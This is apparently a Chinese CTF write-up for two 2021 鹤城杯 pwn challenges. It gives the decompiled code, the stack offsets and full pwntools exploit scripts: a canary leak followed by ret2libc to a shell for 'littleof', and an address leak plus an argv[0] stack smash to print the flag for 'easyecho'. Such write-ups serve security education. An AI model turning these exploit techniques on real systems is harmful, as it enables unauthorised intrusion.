littleof [2021 鹤城杯]littleof
准备 64 位,开了 canary
分析 main函数 1 2 3 4 5 6 7 8 __int64 __fastcall main(int a1, char **a2, char **a3) { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); sub_4006E2(); return 0LL; }
有一个 sub_4006E2
函数
sub_4006E2函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 unsigned __int64 sub_4006E2() { char buf[8]; // [rsp+10h] [rbp-50h] BYREF FILE *stdin; // [rsp+18h] [rbp-48h] unsigned __int64 v3; // [rsp+58h] [rbp-8h] v3 = __readfsqword(0x28u); stdin = stdin; puts("Do you know how to do buffer overflow?"); read(0, buf, 0x100uLL); printf("%s. Try harder!", buf); read(0, buf, 0x100uLL); puts("I hope you win"); return __readfsqword(0x28u) ^ v3; }
这里 v3
存储 canary
的值 先一个读取输入最大 256(0x100) 个字节到 buf
,但 buf
没这么大,所以存在缓冲区溢出 然后将输入的内容(存储在 buf
中)与固定字符串 . Try harder!
拼接后输出 再次读取输入
思路: 这题开了 canary
保护,只有溢出点,没有连接点和其他,所以绕过 canary
后,打64位的 ret2libc
因为 64 位程序,所以需要寄存器,这里用常用的 puts
函数去打,有一个参数,用 rdi
寄存器,在考虑 64 位的堆栈平衡,也要知道 ret
来填充 用 ROPgadget
指令获取这些数据 然后通过 ida
查看栈情况,获取偏移,并且计算输入点(buf
)到 canary
值(v3
)的距离
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 -0000000000000060 // Use data definition commands to manipulate stack variables and arguments. -0000000000000060 // Frame size: 60; Saved regs: 8; Purge: 0 -0000000000000060 -0000000000000060 // padding byte -000000000000005F // padding byte -000000000000005E // padding byte -000000000000005D // padding byte -000000000000005C // padding byte -000000000000005B // padding byte -000000000000005A // padding byte -0000000000000059 // padding byte -0000000000000058 _QWORD var_58; -0000000000000050 char buf[8]; -0000000000000048 _QWORD var_48; -0000000000000040 // padding byte -000000000000003F // padding byte -000000000000003E // padding byte -000000000000003D // padding byte -000000000000003C // padding byte -000000000000003B // padding byte -000000000000003A // padding byte -0000000000000039 // padding byte -0000000000000038 // padding byte -0000000000000037 // padding byte -0000000000000036 // padding byte -0000000000000035 // padding byte -0000000000000034 // padding byte -0000000000000033 // padding byte -0000000000000032 // padding byte -0000000000000031 // padding byte -0000000000000030 // padding byte -000000000000002F // padding byte -000000000000002E // padding byte -000000000000002D // padding byte -000000000000002C // padding byte -000000000000002B // padding byte -000000000000002A // padding byte -0000000000000029 // padding byte -0000000000000028 // padding byte -0000000000000027 // padding byte -0000000000000026 // padding byte -0000000000000025 // padding byte -0000000000000024 // padding byte -0000000000000023 // padding byte -0000000000000022 // padding byte -0000000000000021 // padding byte -0000000000000020 // padding byte -000000000000001F // padding byte -000000000000001E // padding byte -000000000000001D // padding byte -000000000000001C // padding byte -000000000000001B // padding byte -000000000000001A // padding byte -0000000000000019 // padding byte -0000000000000018 // padding byte -0000000000000017 // padding byte -0000000000000016 // padding byte -0000000000000015 // padding byte -0000000000000014 // padding byte -0000000000000013 // padding byte -0000000000000012 // padding byte -0000000000000011 // padding byte -0000000000000010 // padding byte -000000000000000F // padding byte -000000000000000E // padding byte -000000000000000D // padding byte -000000000000000C // padding byte -000000000000000B // padding byte -000000000000000A // padding byte -0000000000000009 // padding byte -0000000000000008 _QWORD var_8; +0000000000000000 _QWORD __saved_registers; +0000000000000008 _UNKNOWN *__return_address; +0000000000000010 +0000000000000010 // end of stack variables
偏移为 0x50+8(88) 这里的 buf
在这里 -0000000000000050 char buf[8];
v3
在这里 -0000000000000008 _QWORD var_8;
两者间的距离为 0x50-0x8=0x48(72) 就可以利用第一次输入后的 printf
输出,获得 canary
的值
1 2 3 4 5 payload=b'a'*68+b'bbbb' io.sendlineafter(b'Do you know how to do buffer overflow?',payload) io.recvuntil(b'bbbb\n') canary=u64(io.recv(7).rjust(8,b'\x00')) log.success('canary: '+hex(canary))
这里最后的 b'bbbb'
是为了好定位,来下面接收后获得 canary
的值 有了 canary
的值,就正常的打 ret2libc
先获取 puts
函数的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import * from LibcSearcher import * context(os='linux',log_level = 'debug',arch='amd64') io = remote('node4.anna.nssctf.cn',28798) # io= process('/home/motaly/of') elf=ELF('/home/motaly/of') puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] main=0x400789 rdi=0x400863 ret=0x40059e payload=b'a'*68+b'bbbb' io.sendlineafter(b'Do you know how to do buffer overflow?',payload) io.recvuntil(b'bbbb\n') canary=u64(io.recv(7).rjust(8,b'\x00')) log.success('canary: '+hex(canary)) payload=b'a'*72+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendlineafter(b'Try harder!',payload) io.recvuntil(b'I hope you win') puts_addr=u64(io.recv(7)[-6:].ljust(8,b'\x00')) log.success('puts_addr: '+hex(puts_addr))
这里前面的填充先给 72 个,然后给一个 canary
的值,来绕过 canary
保护,然后因为总的偏移是 88,所以后面在加一个 8 的填充 通过 puts
函数的地址,得到 libc
基址,进而有了 system
和 /bin/sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] main=0x400789 rdi=0x400863 ret=0x40059e payload=b'a'*68+b'bbbb' io.sendlineafter(b'Do you know how to do buffer overflow?',payload) io.recvuntil(b'bbbb\n') canary=u64(io.recv(7).rjust(8,b'\x00')) log.success('canary: '+hex(canary)) payload=b'a'*72+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendlineafter(b'Try harder!',payload) io.recvuntil(b'I hope you win') puts_addr=u64(io.recv(7)[-6:].ljust(8,b'\x00')) log.success('puts_addr: '+hex(puts_addr)) libc=LibcSearcher("puts", puts_addr) libc_base=puts_addr-libc.dump('puts') log.success('libc_base: ' + hex(libc_base)) system=libc_base+libc.dump('system') bin_sh=libc_base+libc.dump("str_bin_sh")
最后在同样的执行一遍流程,获得 shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] main=0x400789 rdi=0x400863 ret=0x40059e payload=b'a'*68+b'bbbb' io.sendlineafter(b'Do you know how to do buffer overflow?',payload) io.recvuntil(b'bbbb\n') canary=u64(io.recv(7).rjust(8,b'\x00')) log.success('canary: '+hex(canary)) payload=b'a'*72+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendlineafter(b'Try harder!',payload) io.recvuntil(b'I hope you win') puts_addr=u64(io.recv(7)[-6:].ljust(8,b'\x00')) log.success('puts_addr: '+hex(puts_addr)) libc=LibcSearcher("puts", puts_addr) libc_base=puts_addr-libc.dump('puts') log.success('libc_base: ' + hex(libc_base)) system=libc_base+libc.dump('system') bin_sh=libc_base+libc.dump("str_bin_sh") payload=b'a'*68+b'bbbb' io.sendlineafter(b'Do you know how to do buffer overflow?',payload) payload=b'a'*72+p64(canary)+b'a'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) io.sendlineafter(b'Try harder!',payload)
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import * from LibcSearcher import * context(os='linux',log_level = 'debug',arch='amd64') io = remote('node4.anna.nssctf.cn',28798) # io= process('/home/motaly/of') elf=ELF('/home/motaly/of') puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] main=0x400789 rdi=0x400863 ret=0x40059e payload=b'a'*68+b'bbbb' io.sendlineafter(b'Do you know how to do buffer overflow?',payload) io.recvuntil(b'bbbb\n') canary=u64(io.recv(7).rjust(8,b'\x00')) log.success('canary: '+hex(canary)) payload=b'a'*72+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendlineafter(b'Try harder!',payload) io.recvuntil(b'I hope you win') puts_addr=u64(io.recv(7)[-6:].ljust(8,b'\x00')) log.success('puts_addr: '+hex(puts_addr)) libc=LibcSearcher("puts", puts_addr) libc_base=puts_addr-libc.dump('puts') log.success('libc_base: ' + hex(libc_base)) system=libc_base+libc.dump('system') bin_sh=libc_base+libc.dump("str_bin_sh") payload=b'a'*68+b'bbbb' io.sendlineafter(b'Do you know how to do buffer overflow?',payload) payload=b'a'*72+p64(canary)+b'a'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system) io.sendlineafter(b'Try harder!',payload) io.interactive()
easyecho [2021 鹤城杯]easyecho 参考
准备 64 位,保护全开 这里换源( 2.23-0ubuntu11.3_amd64
)是因为利用 Stack smash
手法,输入点与 argv[0]
间的距离大小会受 libc
环境影响
分析 main函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 __int64 __fastcall main(int a1, char **a2, char **a3) { bool v3; // zf __int64 n9; // rcx char *v5; // rsi const char *backdoor; // rdi char buf[16]; // [rsp+0h] [rbp-A8h] BYREF int (*sub_CF0_1)(); // [rsp+10h] [rbp-98h] char v10[104]; // [rsp+20h] [rbp-88h] BYREF unsigned __int64 v11; // [rsp+88h] [rbp-20h] v11 = __readfsqword(0x28u); sub_DA0(); sub_F40(); sub_CF0_1 = sub_CF0; puts("Hi~ This is a very easy echo server."); puts("Please give me your name~"); _printf_chk(1LL, "Name: "); sub_E40(buf, 16LL); _printf_chk(1LL, "Welcome %s into the server!\n", buf); do { while ( 1 ) { _printf_chk(1LL, "Input: "); gets(v10); _printf_chk(1LL, "Output: %s\n\n", v10); n9 = 9LL; v5 = v10; backdoor = "backdoor"; do { if ( !n9 ) break; v3 = *v5++ == *backdoor++; --n9; } while ( v3 ); if ( !v3 ) break; ((void (__fastcall *)(const char *, char *))sub_CF0_1)(backdoor, v5); } } while ( strcmp(v10, "exitexit") ); puts("See you next time~"); return 0LL; }
先有一个 sub_CF0
函数,是否成功的结果保存赋值给 sub_CF0_1
然后是 name
值的输入,有 sub_E40
函数,参数是 buf
和 16 输入完后会用 _printf_chk
进行输出 接着进入循环,不是输入 exitexit
,就不会停止 循环中的输入点用到 gets
函数,存在缓冲区溢出 并且输入后都会有输出 下面有一个 backdoor
参数,查看发现 是把 backdoor\x00
赋值给了 backdoor
参数 下面程序严格比较输入是否与 backdoor\x00
完全一致 当输入 backdoor\x00
时会调用函数指针 sub_CF0_1
,也就是会获得 flag
sub_CF0函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int sub_CF0() { __int64 v0; // rax int fd; // ebx unsigned __int64 v3; // [rsp+8h] [rbp-10h] v3 = __readfsqword(0x28u); if ( unk_2020A0 ) { return __readfsqword(0x28u) ^ v3; } else { unk_2020A0 = 1; fd = open("./flag", 0); if ( fd < 0 ) perror("open"); read(fd, &buf_, 0x50uLL); LODWORD(v0) = close(fd); } return v0; }
把 flag
的内容读取到 buf_
处,在 bss
段
sub_E40函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 unsigned __int64 __fastcall sub_E40(char *buf, __int64 n16) { ssize_t v4; // rax int n11; // eax unsigned __int64 v7; // [rsp+8h] [rbp-20h] v7 = __readfsqword(0x28u); while ( n16 ) { v4 = read(0, buf, 1uLL); if ( !v4 ) break; if ( v4 == -1 ) { n11 = *_errno_location(); if ( n11 != 11 && n11 != 4 ) return __readfsqword(0x28u) ^ v7; } else { if ( *buf == 10 ) { *buf = 0; return __readfsqword(0x28u) ^ v7; } ++buf; } --n16; } return __readfsqword(0x28u) ^ v7; }
这里逐字节读取输入 当遇到换行符 '\n'
时,将其替换为'\0'
(字符串结束符)并终止读取 每次成功读取非换行符后,缓冲区指针后移,同时剩余长度计数器递减,严格控制不超过 n16
(16) 的限制 输入完后会用 _printf_chk
进行输出 这里会有一个数据泄露问题 这里设定最大输入是 16,当我们写入填满 16 个数据大小且不含换行符时,循环会在读取 16 字节后结束,不会主动添加\0
,导致buf
成为一个未终止的字符串 在后面输出时,因为 printf
字符串函数依赖\0
来判断字符串结束位置,所以会读取buf
之后的相邻内存数据(属于栈上的其他变量或数据),造成信息泄露
思路: 这题保护全开,有溢出点,flag
可以泄露,每次输入后都会输出,所以可以用 `` 手法进行数据泄露 因为第一个输入点 name
处填满时有一个数据泄露,所以先看一下泄露的数据
1 2 3 4 5 6 7 8 from pwn import * context(os='linux',arch='amd64',log_level='debug') # io = remote('node7.anna.nssctf.cn', 20508) io = process('/home/motaly/echo') elf=ELF('/home/motaly/echo') io.sendlineafter(b'Name: ', b'a'*16) # gdb.attach(io)
用 gdb
调试,并查看栈情况 发现这里可以泄露出一个基址
1 2 3 4 5 6 io.sendlineafter(b'Name: ', b'a'*16) io.recvuntil(b'a'*16) stack = u64(io.recv(6).ljust(8, b'\x00')) log.success('stack: '+hex(stack)) pro_base = stack - 0xcf0 log.success('pro_base: '+hex(pro_base))
有了一个栈地址,我们就可以借此来获得 flag
的地址
1 2 3 4 5 6 7 8 9 io.sendlineafter(b'Name: ', b'a'*16) io.recvuntil(b'a'*16) stack = u64(io.recv(6).ljust(8, b'\x00')) log.success('stack: '+hex(stack)) pro_base = stack - 0xcf0 log.success('pro_base: '+hex(pro_base)) io.sendlineafter(b'Input: ', b'backdoor\x00') # gdb.attach(io)
输入 backdoor
后,flag
会被写在 bss
段 再次调试,获得基址与 flag
地址间的距离 (注意:本地调试要记得创建 flag
文件) 得到 flag
地址
1 2 3 4 5 6 7 8 9 10 11 io.sendlineafter(b'Name: ', b'a'*16) io.recvuntil(b'a'*16) stack = u64(io.recv(6).ljust(8, b'\x00')) log.success('stack: '+hex(stack)) pro_base = stack - 0xcf0 log.success('pro_base: '+hex(pro_base)) io.sendlineafter(b'Input: ', b'backdoor\x00') gdb.attach(io) flag=pro_base+0x202040
最后利用 Stack smash
手法,对 flag
的内容进行泄露 再次调试,获得输入点与 argv[0]
间的距离
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 io.sendlineafter(b'Name: ', b'a'*16) io.recvuntil(b'a'*16) stack = u64(io.recv(6).ljust(8, b'\x00')) log.success('stack: '+hex(stack)) pro_base = stack - 0xcf0 log.success('pro_base: '+hex(pro_base)) io.sendlineafter(b'Input: ', b'backdoor\x00') flag=pro_base+0x202040 gdb.attach(io) payload=b'a'*0x168+p64(flag) io.sendlineafter(b'Input: ',payload) io.sendlineafter(b'Input: ',b'exitexit')
要退出循环才能触发 canary
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * context(os='linux',arch='amd64',log_level='debug') # io = remote('node7.anna.nssctf.cn', 20508) io = process('/home/motaly/echo') elf=ELF('/home/motaly/echo') io.sendlineafter(b'Name: ', b'a'*16) io.recvuntil(b'a'*16) stack = u64(io.recv(6).ljust(8, b'\x00')) log.success('stack: '+hex(stack)) pro_base = stack - 0xcf0 log.success('pro_base: '+hex(pro_base)) io.sendlineafter(b'Input: ', b'backdoor\x00') flag=pro_base+0x202040 gdb.attach(io) payload=b'a'*0x168+p64(flag) io.sendlineafter(b'Input: ',payload) io.sendlineafter(b'Input: ',b'exitexit') io.interactive()